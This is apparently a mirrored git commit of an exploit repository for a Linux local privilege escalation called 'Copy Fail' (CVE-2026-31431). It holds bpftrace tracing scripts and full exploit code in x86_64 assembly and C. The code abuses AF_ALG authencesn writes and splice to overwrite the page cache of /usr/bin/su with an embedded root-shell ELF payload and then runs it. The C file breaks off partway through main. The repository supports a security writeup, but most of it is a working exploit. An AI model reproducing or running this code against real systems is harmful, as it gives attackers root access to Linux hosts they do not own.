mirror of
https://github.com/4xura/CVE-2026-31431-Copy-Fail.git
synced 2026-05-26 13:20:48 +00:00
init commit
This commit is contained in:
parent
4ba9656827
commit
31ac27ea2c
11 changed files with 1556 additions and 0 deletions
1
README.md
Normal file
1
README.md
Normal file
|
|
@ -0,0 +1 @@
|
||||||
|
This is a repository that stores artifacts, exploit scripts for the writeup at [https://4xura.com](https://4xura.com/) , targeting the Linux LPE named "Copy Fail".
|
||||||
6
bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
Normal file
6
bpftrace-scripts/bpftrace-af-alg-sendmsg.bt
Normal file
|
|
@ -0,0 +1,6 @@
|
||||||
|
kprobe:af_alg_sendmsg /comm == "copyfail_poc"/
|
||||||
|
{
|
||||||
|
$msg = (struct msghdr *)arg1;
|
||||||
|
printf("af_alg_sendmsg: size=0x%lx msg_flags=0x%x\n",
|
||||||
|
arg2, $msg->msg_flags);
|
||||||
|
}
|
||||||
6
bpftrace-scripts/bpftrace-authencesn-decrypt.bt
Normal file
6
bpftrace-scripts/bpftrace-authencesn-decrypt.bt
Normal file
|
|
@ -0,0 +1,6 @@
|
||||||
|
kprobe:crypto_authenc_esn_decrypt /comm == "copyfail_poc"/
|
||||||
|
{
|
||||||
|
$req = (struct aead_request *)arg0;
|
||||||
|
printf("authencesn_decrypt: assoclen=0x%x cryptlen=0x%x\n",
|
||||||
|
$req->assoclen, $req->cryptlen);
|
||||||
|
}
|
||||||
12
bpftrace-scripts/bpftrace-filemap-splice.bt
Normal file
12
bpftrace-scripts/bpftrace-filemap-splice.bt
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
kprobe:filemap_splice_read /comm == "copyfail_poc"/
|
||||||
|
{
|
||||||
|
$in = (struct file *)arg0;
|
||||||
|
$ppos = (loff_t *)arg1;
|
||||||
|
printf("filemap_splice_read: pos=0x%llx ino=%lu\n",
|
||||||
|
*$ppos, $in->f_inode->i_ino);
|
||||||
|
}
|
||||||
|
|
||||||
|
kprobe:splice_folio_into_pipe /comm == "copyfail_poc"/
|
||||||
|
{
|
||||||
|
printf("splice_folio_into_pipe\n");
|
||||||
|
}
|
||||||
344
exploit-scripts/exploit.asm
Normal file
344
exploit-scripts/exploit.asm
Normal file
|
|
@ -0,0 +1,344 @@
|
||||||
|
; CopyFail CVE-2026-31431 Linux LPE exploit, x86_64 NASM version.
|
||||||
|
;
|
||||||
|
; Build:
|
||||||
|
; nasm -f elf64 exploit.asm -o exploit.o
|
||||||
|
; ld -o exploit_asm exploit.o
|
||||||
|
;
|
||||||
|
; Input:
|
||||||
|
; payload.pwnkit.elf must exist in the build directory. Generate it with the
|
||||||
|
; compact ELF carrier workflow from section 7.3.1.1.
|
||||||
|
|
||||||
|
BITS 64
|
||||||
|
global _start
|
||||||
|
|
||||||
|
%define SYS_write 1
|
||||||
|
%define SYS_open 2
|
||||||
|
%define SYS_close 3
|
||||||
|
%define SYS_pipe 22
|
||||||
|
%define SYS_socket 41
|
||||||
|
%define SYS_accept 43
|
||||||
|
%define SYS_recvfrom 45
|
||||||
|
%define SYS_sendmsg 46
|
||||||
|
%define SYS_bind 49
|
||||||
|
%define SYS_setsockopt 54
|
||||||
|
%define SYS_execve 59
|
||||||
|
%define SYS_exit 60
|
||||||
|
%define SYS_splice 275
|
||||||
|
|
||||||
|
%define AF_ALG 38
|
||||||
|
%define SOCK_SEQPACKET 5
|
||||||
|
%define SOL_ALG 279
|
||||||
|
%define ALG_SET_KEY 1
|
||||||
|
%define ALG_SET_IV 2
|
||||||
|
%define ALG_SET_OP 3
|
||||||
|
%define ALG_SET_AEAD_ASSOCLEN 4
|
||||||
|
%define ALG_SET_AEAD_AUTHSIZE 5
|
||||||
|
%define MSG_MORE 0x8000
|
||||||
|
|
||||||
|
%define O_RDONLY 0
|
||||||
|
%define RXBUF_SIZE 8192
|
||||||
|
|
||||||
|
section .text
|
||||||
|
|
||||||
|
_start:
|
||||||
|
lea rbx, [rel target_su]
|
||||||
|
|
||||||
|
; If argv[1] exists, treat it as the full target path.
|
||||||
|
mov rax, [rsp]
|
||||||
|
cmp rax, 2
|
||||||
|
jb .open_target
|
||||||
|
mov rbx, [rsp + 16]
|
||||||
|
|
||||||
|
.open_target:
|
||||||
|
lea rdi, [rel msg_target]
|
||||||
|
mov rsi, msg_target_len
|
||||||
|
call print
|
||||||
|
mov rdi, rbx
|
||||||
|
call puts
|
||||||
|
|
||||||
|
mov rax, SYS_open
|
||||||
|
mov rdi, rbx
|
||||||
|
mov rsi, O_RDONLY
|
||||||
|
xor rdx, rdx
|
||||||
|
syscall
|
||||||
|
call check
|
||||||
|
mov [file_fd], eax
|
||||||
|
|
||||||
|
xor r12, r12 ; payload offset
|
||||||
|
|
||||||
|
.patch_loop:
|
||||||
|
cmp r12, payload_len
|
||||||
|
jae .execute_target
|
||||||
|
|
||||||
|
call open_authencesn_socket
|
||||||
|
|
||||||
|
lea rsi, [rel payload]
|
||||||
|
add rsi, r12
|
||||||
|
call queue_aad
|
||||||
|
|
||||||
|
mov rdi, [file_fd]
|
||||||
|
mov rsi, [op_fd]
|
||||||
|
mov rdx, r12
|
||||||
|
call splice_target_window
|
||||||
|
|
||||||
|
mov rdi, [op_fd]
|
||||||
|
mov rsi, r12
|
||||||
|
call trigger_decrypt
|
||||||
|
|
||||||
|
mov rdi, [op_fd]
|
||||||
|
call close_fd
|
||||||
|
mov rdi, [tfm_fd]
|
||||||
|
call close_fd
|
||||||
|
|
||||||
|
add r12, 4
|
||||||
|
jmp .patch_loop
|
||||||
|
|
||||||
|
.execute_target:
|
||||||
|
mov rdi, [file_fd]
|
||||||
|
call close_fd
|
||||||
|
|
||||||
|
lea rdi, [rel msg_exec]
|
||||||
|
mov rsi, msg_exec_len
|
||||||
|
call print
|
||||||
|
|
||||||
|
mov rax, SYS_execve
|
||||||
|
mov rdi, rbx
|
||||||
|
lea rsi, [rel exec_argv]
|
||||||
|
xor rdx, rdx
|
||||||
|
syscall
|
||||||
|
jmp fatal
|
||||||
|
|
||||||
|
open_authencesn_socket:
|
||||||
|
mov rax, SYS_socket
|
||||||
|
mov rdi, AF_ALG
|
||||||
|
mov rsi, SOCK_SEQPACKET
|
||||||
|
xor rdx, rdx
|
||||||
|
syscall
|
||||||
|
call check
|
||||||
|
mov [tfm_fd], eax
|
||||||
|
|
||||||
|
mov rax, SYS_bind
|
||||||
|
mov edi, [tfm_fd]
|
||||||
|
lea rsi, [rel sockaddr_alg]
|
||||||
|
mov rdx, sockaddr_alg_len
|
||||||
|
syscall
|
||||||
|
call check
|
||||||
|
|
||||||
|
mov rax, SYS_setsockopt
|
||||||
|
mov edi, [tfm_fd]
|
||||||
|
mov rsi, SOL_ALG
|
||||||
|
mov rdx, ALG_SET_KEY
|
||||||
|
lea r10, [rel keyblob]
|
||||||
|
mov r8, keyblob_len
|
||||||
|
syscall
|
||||||
|
call check
|
||||||
|
|
||||||
|
mov rax, SYS_setsockopt
|
||||||
|
mov edi, [tfm_fd]
|
||||||
|
mov rsi, SOL_ALG
|
||||||
|
mov rdx, ALG_SET_AEAD_AUTHSIZE
|
||||||
|
xor r10, r10
|
||||||
|
mov r8, 4
|
||||||
|
syscall
|
||||||
|
call check
|
||||||
|
|
||||||
|
mov rax, SYS_accept
|
||||||
|
mov edi, [tfm_fd]
|
||||||
|
xor rsi, rsi
|
||||||
|
xor rdx, rdx
|
||||||
|
syscall
|
||||||
|
call check
|
||||||
|
mov [op_fd], eax
|
||||||
|
ret
|
||||||
|
|
||||||
|
; rsi = pointer to the next 4-byte payload chunk.
|
||||||
|
queue_aad:
|
||||||
|
mov dword [aad], 0x41414141
|
||||||
|
mov eax, [rsi]
|
||||||
|
mov [aad + 4], eax
|
||||||
|
|
||||||
|
lea rax, [rel aad]
|
||||||
|
mov [iov], rax
|
||||||
|
mov qword [iov + 8], 8
|
||||||
|
|
||||||
|
mov qword [msg_hdr + 0], 0
|
||||||
|
mov dword [msg_hdr + 8], 0
|
||||||
|
lea rax, [rel iov]
|
||||||
|
mov qword [msg_hdr + 16], rax
|
||||||
|
mov qword [msg_hdr + 24], 1
|
||||||
|
lea rax, [rel cbuf]
|
||||||
|
mov qword [msg_hdr + 32], rax
|
||||||
|
mov qword [msg_hdr + 40], cbuf_len
|
||||||
|
mov dword [msg_hdr + 48], 0
|
||||||
|
|
||||||
|
mov qword [cbuf + 0], 20 ; CMSG_LEN(sizeof(uint32_t))
|
||||||
|
mov dword [cbuf + 8], SOL_ALG
|
||||||
|
mov dword [cbuf + 12], ALG_SET_OP
|
||||||
|
mov dword [cbuf + 16], 0 ; ALG_OP_DECRYPT
|
||||||
|
|
||||||
|
mov qword [cbuf + 24], 36 ; CMSG_LEN(sizeof(struct af_alg_iv)+16)
|
||||||
|
mov dword [cbuf + 32], SOL_ALG
|
||||||
|
mov dword [cbuf + 36], ALG_SET_IV
|
||||||
|
mov dword [cbuf + 40], 16 ; ivlen
|
||||||
|
mov qword [cbuf + 44], 0
|
||||||
|
mov qword [cbuf + 52], 0
|
||||||
|
|
||||||
|
mov qword [cbuf + 64], 20 ; CMSG_LEN(sizeof(uint32_t))
|
||||||
|
mov dword [cbuf + 72], SOL_ALG
|
||||||
|
mov dword [cbuf + 76], ALG_SET_AEAD_ASSOCLEN
|
||||||
|
mov dword [cbuf + 80], 8
|
||||||
|
|
||||||
|
mov rax, SYS_sendmsg
|
||||||
|
mov edi, [op_fd]
|
||||||
|
lea rsi, [rel msg_hdr]
|
||||||
|
mov rdx, MSG_MORE
|
||||||
|
syscall
|
||||||
|
call check
|
||||||
|
ret
|
||||||
|
|
||||||
|
; rdi = file fd, rsi = op fd, rdx = target offset.
|
||||||
|
splice_target_window:
|
||||||
|
mov [saved_op_fd], rsi
|
||||||
|
lea rax, [rdx + 4]
|
||||||
|
mov [splice_len], rax
|
||||||
|
mov qword [splice_off], 0
|
||||||
|
|
||||||
|
mov rax, SYS_pipe
|
||||||
|
lea rdi, [rel pipefd]
|
||||||
|
syscall
|
||||||
|
call check
|
||||||
|
|
||||||
|
mov rax, SYS_splice
|
||||||
|
mov rdi, [file_fd]
|
||||||
|
lea rsi, [rel splice_off]
|
||||||
|
mov edx, [pipefd + 4]
|
||||||
|
xor r10, r10
|
||||||
|
mov r8, [splice_len]
|
||||||
|
xor r9, r9
|
||||||
|
syscall
|
||||||
|
call check
|
||||||
|
|
||||||
|
mov rax, SYS_splice
|
||||||
|
mov edi, [pipefd]
|
||||||
|
xor rsi, rsi
|
||||||
|
mov rdx, [saved_op_fd]
|
||||||
|
xor r10, r10
|
||||||
|
mov r8, [splice_len]
|
||||||
|
xor r9, r9
|
||||||
|
syscall
|
||||||
|
call check
|
||||||
|
|
||||||
|
mov edi, [pipefd]
|
||||||
|
call close_fd
|
||||||
|
mov edi, [pipefd + 4]
|
||||||
|
call close_fd
|
||||||
|
ret
|
||||||
|
|
||||||
|
; rdi = op fd, rsi = target offset.
|
||||||
|
trigger_decrypt:
|
||||||
|
lea rdx, [rsi + 8]
|
||||||
|
cmp rdx, RXBUF_SIZE
|
||||||
|
ja fatal
|
||||||
|
|
||||||
|
mov rax, SYS_recvfrom
|
||||||
|
lea rsi, [rel rxbuf]
|
||||||
|
xor r10, r10
|
||||||
|
xor r8, r8
|
||||||
|
xor r9, r9
|
||||||
|
syscall
|
||||||
|
; Authentication failure is expected. Ignore recvfrom's return value.
|
||||||
|
ret
|
||||||
|
|
||||||
|
close_fd:
|
||||||
|
mov rax, SYS_close
|
||||||
|
syscall
|
||||||
|
ret
|
||||||
|
|
||||||
|
print:
|
||||||
|
mov rdx, rsi
|
||||||
|
mov rsi, rdi
|
||||||
|
mov rax, SYS_write
|
||||||
|
mov rdi, 1
|
||||||
|
syscall
|
||||||
|
ret
|
||||||
|
|
||||||
|
puts:
|
||||||
|
push rdi
|
||||||
|
xor rcx, rcx
|
||||||
|
.len:
|
||||||
|
cmp byte [rdi + rcx], 0
|
||||||
|
je .write
|
||||||
|
inc rcx
|
||||||
|
jmp .len
|
||||||
|
.write:
|
||||||
|
pop rdi
|
||||||
|
mov rsi, rcx
|
||||||
|
call print
|
||||||
|
lea rdi, [rel nl]
|
||||||
|
mov rsi, 1
|
||||||
|
call print
|
||||||
|
ret
|
||||||
|
|
||||||
|
check:
|
||||||
|
test rax, rax
|
||||||
|
js fatal
|
||||||
|
ret
|
||||||
|
|
||||||
|
fatal:
|
||||||
|
lea rdi, [rel msg_fail]
|
||||||
|
mov rsi, msg_fail_len
|
||||||
|
call print
|
||||||
|
mov rax, SYS_exit
|
||||||
|
mov rdi, 1
|
||||||
|
syscall
|
||||||
|
|
||||||
|
section .data
|
||||||
|
|
||||||
|
target_su db "/usr/bin/su", 0
|
||||||
|
exec_arg0 db "su", 0
|
||||||
|
exec_argv dq exec_arg0, 0
|
||||||
|
nl db 10
|
||||||
|
|
||||||
|
msg_target db "[+] target : "
|
||||||
|
msg_target_len equ $ - msg_target
|
||||||
|
msg_exec db "[+] payload staged into page cache, executing target...", 10
|
||||||
|
msg_exec_len equ $ - msg_exec
|
||||||
|
msg_fail db "[-] syscall failed", 10
|
||||||
|
msg_fail_len equ $ - msg_fail
|
||||||
|
|
||||||
|
sockaddr_alg:
|
||||||
|
dw AF_ALG
|
||||||
|
db "aead", 0, 0, 0, 0, 0, 0, 0, 0, 0, 0
|
||||||
|
dd 0
|
||||||
|
dd 0
|
||||||
|
db "authencesn(hmac(sha256),cbc(aes))", 0
|
||||||
|
times 64 - ($ - sockaddr_alg - 24) db 0
|
||||||
|
sockaddr_alg_len equ $ - sockaddr_alg
|
||||||
|
|
||||||
|
keyblob:
|
||||||
|
dw 8 ; rtattr.rta_len
|
||||||
|
dw 1 ; CRYPTO_AUTHENC_KEYA_PARAM
|
||||||
|
dd 0x10000000 ; htonl(16)
|
||||||
|
times 32 db 0
|
||||||
|
keyblob_len equ $ - keyblob
|
||||||
|
|
||||||
|
payload:
|
||||||
|
incbin "payload.pwnkit.elf"
|
||||||
|
payload_end:
|
||||||
|
times 3 db 0
|
||||||
|
payload_len equ payload_end - payload
|
||||||
|
|
||||||
|
section .bss
|
||||||
|
file_fd resq 1
|
||||||
|
tfm_fd resq 1
|
||||||
|
op_fd resq 1
|
||||||
|
saved_op_fd resq 1
|
||||||
|
pipefd resd 2
|
||||||
|
splice_off resq 1
|
||||||
|
splice_len resq 1
|
||||||
|
aad resb 8
|
||||||
|
iov resq 2
|
||||||
|
msg_hdr resb 56
|
||||||
|
cbuf resb 88
|
||||||
|
cbuf_len equ 88
|
||||||
|
rxbuf resb RXBUF_SIZE
|
||||||
274
exploit-scripts/exploit.c
Normal file
274
exploit-scripts/exploit.c
Normal file
|
|
@ -0,0 +1,274 @@
|
||||||
|
/**
|
||||||
|
* Title : CopyFail CVE-2026-31431 Linux LPE exploit
|
||||||
|
* Date : 2026-05-15
|
||||||
|
* Author : Axura (@4xura) - https://4xura.com
|
||||||
|
*
|
||||||
|
* Description:
|
||||||
|
* ------------
|
||||||
|
* Uses AF_ALG + authencesn(hmac(sha256),cbc(aes)) to turn a 4-byte
|
||||||
|
* destination-side scratch write into a page-cache overwrite primitive.
|
||||||
|
* The exploit places the controlled 4-byte value in AAD[4:8], splices a
|
||||||
|
* file-backed page range into the AEAD request, triggers decrypt, and
|
||||||
|
* repeats that primitive until the replacement payload is staged into the
|
||||||
|
* target executable's page cache.
|
||||||
|
*
|
||||||
|
* Usage:
|
||||||
|
* ------
|
||||||
|
* gcc -static -Wall -Wextra -O2 -o exploit exploit.c
|
||||||
|
* ./exploit
|
||||||
|
* DEBUG=1 ./exploit
|
||||||
|
* ./exploit <target_basename>
|
||||||
|
*
|
||||||
|
* Notes:
|
||||||
|
* ------
|
||||||
|
* Replace PAYLOAD_BYTES with the final replacement byte sequence to stage
|
||||||
|
* into the target executable for arbitrary code execution.
|
||||||
|
* The default target is /usr/bin/su. Authentication failure during recv()
|
||||||
|
* is expected; the exploit only requires authencesn() to execute far enough
|
||||||
|
* for the 4-byte scratch write to occur before the error is returned.
|
||||||
|
* Provided for educational use. Use responsibly.
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
#define _GNU_SOURCE
|
||||||
|
|
||||||
|
#include <arpa/inet.h>
|
||||||
|
#include <errno.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <linux/if_alg.h>
|
||||||
|
#include <linux/rtnetlink.h>
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <sys/socket.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
enum {
|
||||||
|
CRYPTO_AUTHENC_KEYA_UNSPEC,
|
||||||
|
CRYPTO_AUTHENC_KEYA_PARAM,
|
||||||
|
};
|
||||||
|
|
||||||
|
struct crypto_authenc_key_param {
|
||||||
|
uint32_t enckeylen;
|
||||||
|
};
|
||||||
|
|
||||||
|
static int debug_enabled;
|
||||||
|
|
||||||
|
static void die(const char *msg)
|
||||||
|
{
|
||||||
|
perror(msg);
|
||||||
|
exit(EXIT_FAILURE);
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
* [ SHELLCODE ]
|
||||||
|
* Replacement bytes to stage into the target executable.
|
||||||
|
*
|
||||||
|
* Each loop iteration below consumes 4 bytes from this array and turns them
|
||||||
|
* into one page-cache overwrite primitive.
|
||||||
|
*/
|
||||||
|
static const unsigned char PAYLOAD_BYTES[] = {
|
||||||
|
/* TODO: insert replacement bytes here (default: exec("/bin/sh)) */
|
||||||
|
0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x40, 0x00, 0x03, 0x00, 0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0xff, 0xb8, 0x69, 0x00, 0x00, 0x00, 0x0f, 0x05, 0xeb, 0x00, 0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05, 0x00, 0x2e, 0x73, 0x68, 0x73, 0x74, 0x72, 0x74, 0x61, 0x62, 0x00, 0x2e, 0x74, 0x65, 0x78, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x26, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x11, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||||
|
};
|
||||||
|
|
||||||
|
static const size_t PAYLOAD_LEN = sizeof(PAYLOAD_BYTES);
|
||||||
|
|
||||||
|
static void open_authencesn_socket(int *tfm_fd, int *op_fd)
|
||||||
|
{
|
||||||
|
struct {
|
||||||
|
struct rtattr rta;
|
||||||
|
struct crypto_authenc_key_param param;
|
||||||
|
unsigned char keys[16 + 16];
|
||||||
|
} keyblob = {
|
||||||
|
.rta = {
|
||||||
|
.rta_len = RTA_LENGTH(sizeof(struct crypto_authenc_key_param)),
|
||||||
|
.rta_type = CRYPTO_AUTHENC_KEYA_PARAM,
|
||||||
|
},
|
||||||
|
.param = {
|
||||||
|
.enckeylen = htonl(16),
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
struct sockaddr_alg sa = {
|
||||||
|
.salg_family = AF_ALG,
|
||||||
|
.salg_type = "aead",
|
||||||
|
.salg_name = "authencesn(hmac(sha256),cbc(aes))",
|
||||||
|
};
|
||||||
|
|
||||||
|
memset(keyblob.keys, 0x00, sizeof(keyblob.keys));
|
||||||
|
|
||||||
|
*tfm_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
|
||||||
|
if (*tfm_fd < 0)
|
||||||
|
die("socket(AF_ALG)");
|
||||||
|
|
||||||
|
if (bind(*tfm_fd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
|
||||||
|
die("bind(authencesn)");
|
||||||
|
|
||||||
|
if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_KEY,
|
||||||
|
&keyblob, sizeof(keyblob)) < 0)
|
||||||
|
die("setsockopt(ALG_SET_KEY)");
|
||||||
|
|
||||||
|
if (setsockopt(*tfm_fd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE,
|
||||||
|
NULL, 4) < 0)
|
||||||
|
die("setsockopt(ALG_SET_AEAD_AUTHSIZE)");
|
||||||
|
|
||||||
|
*op_fd = accept(*tfm_fd, NULL, NULL);
|
||||||
|
if (*op_fd < 0)
|
||||||
|
die("accept");
|
||||||
|
}
|
||||||
|
|
||||||
|
static void queue_aad(int op_fd, const unsigned char chunk[4])
|
||||||
|
{
|
||||||
|
unsigned char aad[8] = { 'A', 'A', 'A', 'A', chunk[0], chunk[1], chunk[2], chunk[3] };
|
||||||
|
unsigned char ivbuf[sizeof(struct af_alg_iv) + 16] = {0};
|
||||||
|
unsigned char cbuf[
|
||||||
|
CMSG_SPACE(sizeof(uint32_t)) +
|
||||||
|
CMSG_SPACE(sizeof(ivbuf)) +
|
||||||
|
CMSG_SPACE(sizeof(uint32_t))
|
||||||
|
] = {0};
|
||||||
|
struct af_alg_iv *iv = (void *)ivbuf;
|
||||||
|
struct iovec iov = {
|
||||||
|
.iov_base = aad,
|
||||||
|
.iov_len = sizeof(aad),
|
||||||
|
};
|
||||||
|
struct msghdr msg = {
|
||||||
|
.msg_iov = &iov,
|
||||||
|
.msg_iovlen = 1,
|
||||||
|
.msg_control = cbuf,
|
||||||
|
.msg_controllen = sizeof(cbuf),
|
||||||
|
};
|
||||||
|
struct cmsghdr *cmsg;
|
||||||
|
uint32_t op = 0; /* ALG_OP_DECRYPT */
|
||||||
|
uint32_t assoclen = 8;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* AAD layout:
|
||||||
|
*
|
||||||
|
* +------+------+------+------+------+------+------+------+
|
||||||
|
* | A | A | A | A | w0 | w1 | w2 | w3 |
|
||||||
|
* +------+------+------+------+------+------+------+------+
|
||||||
|
*
|
||||||
|
* Bytes 4..7 become seqno_lo, which authencesn later writes.
|
||||||
|
*/
|
||||||
|
iv->ivlen = 16;
|
||||||
|
|
||||||
|
cmsg = CMSG_FIRSTHDR(&msg);
|
||||||
|
cmsg->cmsg_level = SOL_ALG;
|
||||||
|
cmsg->cmsg_type = ALG_SET_OP;
|
||||||
|
cmsg->cmsg_len = CMSG_LEN(sizeof(op));
|
||||||
|
memcpy(CMSG_DATA(cmsg), &op, sizeof(op));
|
||||||
|
|
||||||
|
cmsg = CMSG_NXTHDR(&msg, cmsg);
|
||||||
|
cmsg->cmsg_level = SOL_ALG;
|
||||||
|
cmsg->cmsg_type = ALG_SET_IV;
|
||||||
|
cmsg->cmsg_len = CMSG_LEN(sizeof(ivbuf));
|
||||||
|
memcpy(CMSG_DATA(cmsg), ivbuf, sizeof(ivbuf));
|
||||||
|
|
||||||
|
cmsg = CMSG_NXTHDR(&msg, cmsg);
|
||||||
|
cmsg->cmsg_level = SOL_ALG;
|
||||||
|
cmsg->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
|
||||||
|
cmsg->cmsg_len = CMSG_LEN(sizeof(assoclen));
|
||||||
|
memcpy(CMSG_DATA(cmsg), &assoclen, sizeof(assoclen));
|
||||||
|
|
||||||
|
if (sendmsg(op_fd, &msg, MSG_MORE) < 0)
|
||||||
|
die("sendmsg(AAD)");
|
||||||
|
}
|
||||||
|
|
||||||
|
static void splice_target_window(int file_fd, int op_fd, off_t target_offset)
|
||||||
|
{
|
||||||
|
int pipefd[2];
|
||||||
|
loff_t splice_off = 0;
|
||||||
|
size_t splice_len = (size_t)target_offset + 4;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Imported layout:
|
||||||
|
*
|
||||||
|
* file[0 : target_offset] -> ciphertext region
|
||||||
|
* file[target_offset : +4] -> preserved tag tail
|
||||||
|
*
|
||||||
|
* authsize = 4 makes those last 4 imported bytes sit exactly where
|
||||||
|
* authencesn later performs its scratch write.
|
||||||
|
*/
|
||||||
|
if (pipe(pipefd) < 0)
|
||||||
|
die("pipe");
|
||||||
|
|
||||||
|
if (splice(file_fd, &splice_off, pipefd[1], NULL, splice_len, 0) < 0)
|
||||||
|
die("splice(file -> pipe)");
|
||||||
|
|
||||||
|
if (splice(pipefd[0], NULL, op_fd, NULL, splice_len, 0) < 0)
|
||||||
|
die("splice(pipe -> AF_ALG)");
|
||||||
|
|
||||||
|
close(pipefd[0]);
|
||||||
|
close(pipefd[1]);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void trigger_decrypt(int op_fd, off_t target_offset)
|
||||||
|
{
|
||||||
|
size_t rx_len = (size_t)target_offset + 8;
|
||||||
|
unsigned char *outbuf = malloc(rx_len);
|
||||||
|
ssize_t n;
|
||||||
|
|
||||||
|
if (!outbuf)
|
||||||
|
die("malloc(recv)");
|
||||||
|
|
||||||
|
n = recv(op_fd, outbuf, rx_len, 0);
|
||||||
|
|
||||||
|
if (debug_enabled && n < 0)
|
||||||
|
printf(" [-] recv() returned: %s\n", strerror(errno));
|
||||||
|
|
||||||
|
free(outbuf);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void overwrite_4_bytes(int file_fd, off_t target_offset, const unsigned char chunk[4])
|
||||||
|
{
|
||||||
|
int tfm_fd, op_fd;
|
||||||
|
|
||||||
|
if (debug_enabled) {
|
||||||
|
printf("[+] overwrite @ 0x%llx: %02x%02x%02x%02x\n",
|
||||||
|
(unsigned long long)target_offset,
|
||||||
|
chunk[0], chunk[1], chunk[2], chunk[3]);
|
||||||
|
}
|
||||||
|
|
||||||
|
open_authencesn_socket(&tfm_fd, &op_fd);
|
||||||
|
queue_aad(op_fd, chunk);
|
||||||
|
splice_target_window(file_fd, op_fd, target_offset);
|
||||||
|
trigger_decrypt(op_fd, target_offset);
|
||||||
|
close(op_fd);
|
||||||
|
close(tfm_fd);
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, char **argv)
|
||||||
|
{
|
||||||
|
const char *target = "/usr/bin/su";
|
||||||
|
int file_fd;
|
||||||
|
size_t i;
|
||||||
|
|
||||||
|
if (getenv("DEBUG"))
|
||||||
|
debug_enabled = 1;
|
||||||
|
|
||||||
|
if (argc > 1) {
|
||||||
|
static char path[256];
|
||||||
|
snprintf(path, sizeof(path), "/usr/bin/%s", argv[1]);
|
||||||
|
target = path;
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("[+] target : %s\n", target);
|
||||||
|
printf("[+] payload : %zu bytes\n", PAYLOAD_LEN);
|
||||||
|
printf("[+] strategy : 4-byte writes via AAD[4:8] -> authencesn() scratch write\n");
|
||||||
|
|
||||||
|
file_fd = open(target, O_RDONLY);
|
||||||
|
if (file_fd < 0)
|
||||||
|
die("open(target)");
|
||||||
|
|
||||||
|
for (i = 0; i < PAYLOAD_LEN; i += 4)
|
||||||
|
